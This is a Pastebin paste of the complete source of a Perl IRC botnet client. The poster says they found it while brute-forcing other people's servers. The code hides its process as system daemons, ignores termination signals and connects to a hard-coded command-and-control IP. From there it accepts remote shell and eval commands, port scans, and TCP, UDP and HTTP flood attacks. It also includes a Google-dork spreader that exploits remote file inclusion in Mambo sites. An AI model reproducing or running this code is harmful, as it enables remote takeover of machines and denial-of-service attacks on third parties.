CatsMeowAlot

PERL IRC BOTNET LOGIN

Nov 19th, 2016
1,416
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 15.88 KB | None | 0 0
  1. I was bruteforcing servers with random usernames and passwords and i found some perl bots heres one that wasnt obfuscated:
  2.  
  3. #!/usr/bin/perl
  4. my $processo =("suid","/usr/sbin/sshd","rpc.idmapd","auditd","crond","klogd -x");
  5.  
  6. my @titi = ("index.php?page=","main.php?page=");
  7.  
  8. my $goni = $titi[rand scalar @titi];
  9.  
  10. my $linas_max='3';
  11. my $sleep='7';
  12. my @adms=("spaniolu", "SquidWeed" );
  13. my @hostauth=("spaniolu");
  14. my @canais=("#bil");
  15. chop (my $nick = `uname`);
  16. my $servidor="117.102.98.28";
  17. my $ircname =("cgi");
  18. my $realname = ("b");
  19. my $porta='8080';
  20. my $VERSAO = '0.5';
  21. $SIG{'INT'} = 'IGNORE';
  22. $SIG{'HUP'} = 'IGNORE';
  23. $SIG{'TERM'} = 'IGNORE';
  24. $SIG{'CHLD'} = 'IGNORE';
  25. $SIG{'PS'} = 'IGNORE';
  26. use IO::Socket;
  27. use Socket;
  28. use IO::Select;
  29. chdir("/tmp");
  30. $servidor="$ARGV[0]" if $ARGV[0];
  31. $0="$processo"."\0"x16;;
  32. my $pid=fork;
  33. exit if $pid;
  34. die "Problema com o fork: $!" unless defined($pid);
  35.  
  36. our %irc_servers;
  37. our %DCC;
  38. my $dcc_sel = new IO::Select->new();
  39.  
  40. $sel_cliente = IO::Select->new();
  41. sub sendraw {
  42.   if ($#_ == '1') {
  43.     my $socket = $_[0];
  44.     print $socket "$_[1]\n";
  45.   } else {
  46.       print $IRC_cur_socket "$_[0]\n";
  47.   }
  48. }
  49.  
  50. sub conectar {
  51.    my $meunick = $_[0];
  52.    my $servidor_con = $_[1];
  53.    my $porta_con = $_[2];
  54.  
  55.    my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
  56.    if (defined($IRC_socket)) {
  57.      $IRC_cur_socket = $IRC_socket;
  58.  
  59.      $IRC_socket->autoflush(1);
  60.      $sel_cliente->add($IRC_socket);
  61.  
  62.      $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
  63.      $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
  64.      $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  65.      $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
  66.      nick("$meunick");
  67.      sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
  68.      sleep 1;
  69.    }
  70. }
  71. my $line_temp;
  72. while( 1 ) {
  73.    while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
  74.    delete($irc_servers{''}) if (defined($irc_servers{''}));
  75.    my @ready = $sel_cliente->can_read(0);
  76.    next unless(@ready);
  77.    foreach $fh (@ready) {
  78.      $IRC_cur_socket = $fh;
  79.      $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
  80.      $nread = sysread($fh, $msg, 4096);
  81.      if ($nread == 0) {
  82.         $sel_cliente->remove($fh);
  83.         $fh->close;
  84.         delete($irc_servers{$fh});
  85.      }
  86.      @lines = split (/\n/, $msg);
  87.  
  88.      for(my $c=0; $c<= $#lines; $c++) {
  89.        $line = $lines[$c];
  90.        $line=$line_temp.$line if ($line_temp);
  91.        $line_temp='';
  92.        $line =~ s/\r$//;
  93.        unless ($c == $#lines) {
  94.          parse("$line");
  95.        } else {
  96.            if ($#lines == 0) {
  97.              parse("$line");
  98.            } elsif ($lines[$c] =~ /\r$/) {
  99.                parse("$line");
  100.            } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  101.                parse("$line");
  102.            } else {
  103.                $line_temp = $line;
  104.            }
  105.        }
  106.       }
  107.    }
  108. }
  109.  
  110. sub parse {
  111.    my $servarg = shift;
  112.    if ($servarg =~ /^PING \:(.*)/) {
  113.      sendraw("PONG :$1");
  114.    } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  115.        my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
  116.        if ($args =~ /^\001VERSION\001$/) {
  117.          notice("$pn", "\001VERSION mIRC v6.16 Khaled Mardam-Bey\001");
  118.        }
  119.        if (grep {$_ =~ /^\Q$hostmask\E$/i } @hostauth) {
  120.        if (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
  121.          if ($onde eq "$meunick"){
  122.            shell("$pn", "$args");
  123.          }
  124.          if ($args =~ /^(\Q$meunick\E|\!say)\s+(.*)/ ) {
  125.             my $natrix = $1;
  126.             my $arg = $2;
  127.             if ($arg =~ /^\!(.*)/) {
  128.               ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg =~ /^\!nick/);
  129.             } elsif ($arg =~ /^\@(.*)/) {
  130.                 $ondep = $onde;
  131.                 $ondep = $pn if $onde eq $meunick;
  132.                 bfunc("$ondep","$1");
  133.             } else {
  134.                 shell("$onde", "$arg");
  135.             }
  136.          }
  137.        }
  138.     }
  139.    } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  140.        if (lc($1) eq lc($meunick)) {
  141.          $meunick=$4;
  142.          $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  143.        }
  144.    } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  145.        nick("$meunick|".int rand(999999));
  146.    } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  147.        $meunick = $2;
  148.        $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  149.        $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  150.        foreach my $canal (@canais) {
  151.          sendraw("JOIN $canal ddosit");
  152.        }
  153.    }
  154. }
  155.  
  156.  
  157. sub bfunc {
  158.   my $printl = $_[0];
  159.   my $funcarg = $_[1];
  160.   if (my $pid = fork) {
  161.      waitpid($pid, 0);
  162.   } else {
  163.       if (fork) {
  164.          exit;
  165.        } else {
  166.            if ($funcarg =~ /^portscan (.*)/) {
  167.              my $hostip="$1";
  168.              my @portas=("21","22","23","25","80","113","135","445","1025","5000","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","8080","8018");
  169.              my (@aberta, %porta_banner);
  170.          sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[SCAN]\002 Scanning ".$1." for open ports.");    
  171.              foreach my $porta (@portas)  {
  172.                 my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
  173.                 if ($scansock) {
  174.                    push (@aberta, $porta);
  175.                    $scansock->close;
  176.                 }
  177.              }
  178.  
  179.              if (@aberta) {
  180.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[SCAN]\002 Open port(s): @aberta");
  181.              } else {
  182.                sendraw($IRC_cur_socket,"PRIVMSG $printl :\002[SCAN]\002 No open ports found");
  183.              }
  184.            }
  185.            if ($funcarg =~ /^tcpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
  186.          sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[TCP]\002 Attacking ".$1.":".$2." for ".$3." seconds.");
  187.          my $itime = time;
  188.          my ($cur_time);
  189.              $cur_time = time - $itime;
  190.          while ($3>$cur_time){
  191.              $cur_time = time - $itime;
  192.          &tcpflooder("$1","$2","$3");
  193.              }
  194.          sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[TCP]\002 Attack done ".$1.":".$2.".");
  195.            }
  196.        if ($funcarg =~ /^version/) {
  197.         sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[VERSION]\002 perlb0t ver ".$VERSAO);           
  198.         }
  199.            if ($funcarg =~ /^google\s+(\d+)\s+(.*)/) {
  200.          sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[GOOGLE]\002 Scanning for unpatched mambo for ".$1." seconds.");
  201.          srand;
  202.          my $itime = time;
  203.          my ($cur_time);
  204.          my ($exploited);
  205.          $boturl=$2;
  206.              $cur_time = time - $itime;$exploited = 0;
  207.         while($1>$cur_time){
  208.             $cur_time = time - $itime;
  209.             @urls=fetch();
  210.             foreach $url (@urls) {
  211.             $cur_time = time - $itime;
  212.             my $path = "";my $file = "";($path, $file) = $url =~ /^(.+)\/(.+)$/;
  213.  
  214.             $url =$path."/$goni$boturl" ;
  215.  
  216.  
  217.  
  218.  
  219.             $page = http_query($url);
  220.             $exploited = $exploited + 1;
  221.             }
  222.         }
  223.          sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[GOOGLE]\002 Exploited ".$exploited." boxes in ".$1." seconds.");
  224.            }
  225.            if ($funcarg =~ /^httpflood\s+(.*)\s+(\d+)/) {
  226.          sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[HTTP]\002 Attacking ".$1.":80 for ".$2." seconds.");
  227.          my $itime = time;
  228.          my ($cur_time);
  229.              $cur_time = time - $itime;
  230.          while ($2>$cur_time){
  231.              $cur_time = time - $itime;
  232.          my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80);
  233.              print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
  234.          close($socket);
  235.              }
  236.          sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[HTTP]\002 Attacking done ".$1.".");
  237.            }
  238.            if ($funcarg =~ /^udpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
  239.              sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[UDP]\002 Attacking ".$1." with ".$2." Kb packets for ".$3." seconds.");
  240.              my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3");
  241.              $dtime = 1 if $dtime == 0;
  242.              my %bytes;
  243.              $bytes{igmp} = $2 * $pacotes{igmp};
  244.              $bytes{icmp} = $2 * $pacotes{icmp};
  245.              $bytes{o} = $2 * $pacotes{o};
  246.              $bytes{udp} = $2 * $pacotes{udp};
  247.              $bytes{tcp} = $2 * $pacotes{tcp};
  248.              sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[UDP]\002 Sent ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." Kb in ".$dtime." seconds to ".$1.".");
  249.            }
  250.            exit;
  251.        }
  252.   }
  253. }
  254.  
  255. sub ircase {
  256.   my ($kem, $printl, $case) = @_;
  257.  
  258.   if ($case =~ /^join (.*)/) {
  259.      j("$1");
  260.    }
  261.  
  262. if ($case =~ /^refresh (.*)/) {
  263. my $goni = $titi[rand scalar @titi];
  264.  }
  265.  
  266.    if ($case =~ /^part (.*)/) {
  267.       p("$1");
  268.    }
  269.    if ($case =~ /^rejoin\s+(.*)/) {
  270.       my $chan = $1;
  271.       if ($chan =~ /^(\d+) (.*)/) {
  272.         for (my $ca = 1; $ca <= $1; $ca++ ) {
  273.           p("$2");
  274.           j("$2");
  275.         }
  276.       } else {
  277.           p("$chan");
  278.           j("$chan");
  279.       }
  280.    }
  281.    if ($case =~ /^op/) {
  282.       op("$printl", "$kem") if $case eq "op";
  283.       my $oarg = substr($case, 3);
  284.       op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  285.    }
  286.    if ($case =~ /^deop/) {
  287.       deop("$printl", "$kem") if $case eq "deop";
  288.       my $oarg = substr($case, 5);
  289.       deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  290.    }
  291.    if ($case =~ /^msg\s+(\S+) (.*)/) {
  292.       msg("$1", "$2");
  293.    }
  294.    if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
  295.       for (my $cf = 1; $cf <= $1; $cf++) {
  296.         msg("$2", "$3");
  297.       }
  298.    }
  299.    if ($case =~ /^ctcp\s+(\S+) (.*)/) {
  300.       ctcp("$1", "$2");
  301.    }
  302.    if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
  303.       for (my $cf = 1; $cf <= $1; $cf++) {
  304.         ctcp("$2", "$3");
  305.       }
  306.    }
  307.    if ($case =~ /^nick (.*)/) {
  308.       nick("$1");
  309.    }
  310.    if ($case =~ /^connect\s+(\S+)\s+(\S+)/) {
  311.        conectar("$2", "$1", 6667);
  312.    }
  313.    if ($case =~ /^raw (.*)/) {
  314.       sendraw("$1");
  315.    }
  316.    if ($case =~ /^eval (.*)/) {
  317.      eval "$1";
  318.    }
  319. }
  320.  
  321. sub shell {
  322.   my $printl=$_[0];
  323.   my $comando=$_[1];
  324.   if ($comando =~ /cd (.*)/) {
  325.     chdir("$1") || msg("$printl", "No such file or directory");
  326.     return;
  327.   }
  328.   elsif ($pid = fork) {
  329.      waitpid($pid, 0);
  330.   } else {
  331.       if (fork) {
  332.          exit;
  333.        } else {
  334.            my @resp=`$comando 2>&1 3>&1`;
  335.            my $c=0;
  336.            foreach my $linha (@resp) {
  337.              $c++;
  338.              chop $linha;
  339.              sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
  340.              if ($c == "$linas_max") {
  341.                $c=0;
  342.                sleep $sleep;
  343.              }
  344.            }
  345.            exit;
  346.        }
  347.   }
  348. }
  349.  
  350. sub tcpflooder {
  351.  my $itime = time;
  352.  my ($cur_time);
  353.  my ($ia,$pa,$proto,$j,$l,$t);
  354.  $ia=inet_aton($_[0]);
  355.  $pa=sockaddr_in($_[1],$ia);
  356.  $ftime=$_[2];
  357.  $proto=getprotobyname('tcp');
  358.  $j=0;$l=0;
  359.  $cur_time = time - $itime;
  360.  while ($l<1000){
  361.   $cur_time = time - $itime;
  362.   last if $cur_time >= $ftime;
  363.   $t="SOCK$l";
  364.   socket($t,PF_INET,SOCK_STREAM,$proto);
  365.   connect($t,$pa)||$j--;
  366.   $j++;$l++;
  367.  }
  368.  $l=0;
  369.  while ($l<1000){
  370.   $cur_time = time - $itime;
  371.   last if $cur_time >= $ftime;
  372.   $t="SOCK$l";
  373.   shutdown($t,2);
  374.   $l++;
  375.  }
  376. }
  377.  
  378. sub udpflooder {
  379.   my $iaddr = inet_aton($_[0]);
  380.   my $msg = 'A' x $_[1];
  381.   my $ftime = $_[2];
  382.   my $cp = 0;
  383.   my (%pacotes);
  384.   $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
  385.  
  386.   socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  387.   socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  388.   socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  389.   socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  390.   return(undef) if $cp == 4;
  391.   my $itime = time;
  392.   my ($cur_time);
  393.   while ( 1 ) {
  394.      for (my $porta = 1; $porta <= 65000; $porta++) {
  395.        $cur_time = time - $itime;
  396.        last if $cur_time >= $ftime;
  397.        send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;
  398.        send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++;
  399.        send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;
  400.        send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;
  401.  
  402.        for (my $pc = 3; $pc <= 255;$pc++) {
  403.          next if $pc == 6;
  404.          $cur_time = time - $itime;
  405.          last if $cur_time >= $ftime;
  406.          socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
  407.          send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;
  408.        }
  409.      }
  410.      last if $cur_time >= $ftime;
  411.   }
  412.   return($cur_time, %pacotes);
  413. }
  414.  
  415. sub ctcp {
  416.    return unless $#_ == 1;
  417.    sendraw("PRIVMSG $_[0] :\001$_[1]\001");
  418. }
  419. sub msg {
  420.    return unless $#_ == 1;
  421.    sendraw("PRIVMSG $_[0] :$_[1]");
  422. }  
  423. sub notice {
  424.    return unless $#_ == 1;
  425.    sendraw("NOTICE $_[0] :$_[1]");
  426. }
  427. sub op {
  428.    return unless $#_ == 1;
  429.    sendraw("MODE $_[0] +o $_[1]");
  430. }
  431. sub deop {
  432.    return unless $#_ == 1;
  433.    sendraw("MODE $_[0] -o $_[1]");
  434. }
  435. sub j { &join(@_); }
  436. sub join {
  437.    return unless $#_ == 0;
  438.    sendraw("JOIN $_[0]");
  439. }
  440. sub p { part(@_); }
  441. sub part {
  442.   sendraw("PART $_[0]");
  443. }
  444. sub nick {
  445.   return unless $#_ == 0;
  446.   sendraw("NICK $_[0]");
  447. }
  448. sub quit {
  449.   sendraw("QUIT :$_[0]");
  450. }
  451.  
  452. # Spreader
  453. # this 'spreader' code isnot mine, i dont know who coded it.
  454. # update: well, i just fix0red this shit a bit.
  455. #
  456.  
  457. sub fetch(){
  458.     my $rnd=(int(rand(9999)));
  459.     my $n= 80;
  460.     if ($rnd<5000) { $n<<=1;}
  461.     my $s= (int(rand(5)) * $n);
  462.  
  463. my @dominios = ("com","net","org","info","gov", "gob","gub","xxx", "eu","mil","edu","aero","name","us","ca","mx","pa","ni","cu","pr","ve","co","pe","ec",
  464.         "py","cl","uy","ar","br","bo","au","nz","cz","kr","jp","th","tw","ph","cn","fi","de","es","pt","ch","se","su","it","gr","al","dk","pl","biz","int","pro","museum","coop",
  465.         "af","ad","ao","ai","aq","ag","an","sa","dz","ar","am","aw","at","az","bs","bh","bd","bb","be","bz","bj","bm","bt","by","ba","bw","bn","bg","bf","bi",
  466.         "vc","kh","cm","td","cs","cy","km","cg","cd","dj","dm","ci","cr","hr","kp","eg","sv","aw","er","sk",
  467.         "ee","et","ge","fi","fr","ga","gs","gh","gi","gb","uk","gd","gl","gp","gu","gt","gg","gn","gw","gq","gy","gf","ht","nl","hn","hk","hu","in","id","ir",
  468.         "iq","ie","is","ac","bv","cx","im","nf","ky","cc","ck","fo","hm","fk","mp","mh","pw","um","sb","sj","tc","vg","vi","wf","il","jm","je","jo","kz","ke",
  469.         "ki","kg","kw","lv","ls","lb","ly","lr","li","lt","lu","mo","mk","mg","my","mw","mv","ml","mt","mq","ma","mr","mu","yt","md","mc","mn","ms","mz","mm",
  470.         "na","nr","np","ni","ne","ng","nu","no","nc","om","pk","ps","pg","pn","pf","qa","sy","cf","la","re","rw","ro","ru","eh","kn","ws","as","sm","pm","vc",     
  471.         "sh","lc","va","st","sn","sc","sl","sg","so","lk","za","sd","se","sr","sz","rj","tz","io","tf","tp","tg","to","tt","tn","tr","tm","tv","ug","ua","uz",
  472.         "vu","vn","ye","yu","cd","zm","zw","");
  473. my @str;
  474.  
  475. foreach $dom  (@dominios)
  476. {
  477.     push (@str,"allinurl:%22".$dom."/".$goni."%22");
  478. }
  479.  
  480.     my $query="www.google.com/search?q=";
  481.     $query.=$str[(rand(scalar(@str)))];
  482.     $query.="&num=$n&start=$s";
  483.  
  484.  
  485.     my @lst=();
  486.     my $page = http_query($query);
  487.     while ($page =~  m/<a class=l href=\"?http:\/\/([^>\"]+)\"?>/g){
  488.     if ($1 !~ m/google|cache|translate/){
  489.         push (@lst,$1);
  490.     }
  491.     }
  492.     return (@lst);
  493. }
  494.  
  495.  
  496. sub http_query($){
  497.     my ($url) = @_;
  498.     my $host=$url;
  499.     my $query=$url;
  500.  
  501.     my $page="";
  502.     $host =~ s/href=\"?http:\/\///;
  503.     $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  504.     $query =~s/$host//;
  505.     if ($query eq "") {$query="/";};
  506.     eval {
  507.     local $SIG{ALRM} = sub { die "1";};
  508.     alarm 10;
  509.     my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
  510.     print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  511.     my @r = <$sock>;
  512.     $page="@r";
  513.     alarm 0;
  514.     close($sock);
  515.     };    
  516.     return $page;
  517.  
  518. }
Advertisement
Add Comment
Please, Sign In to add comment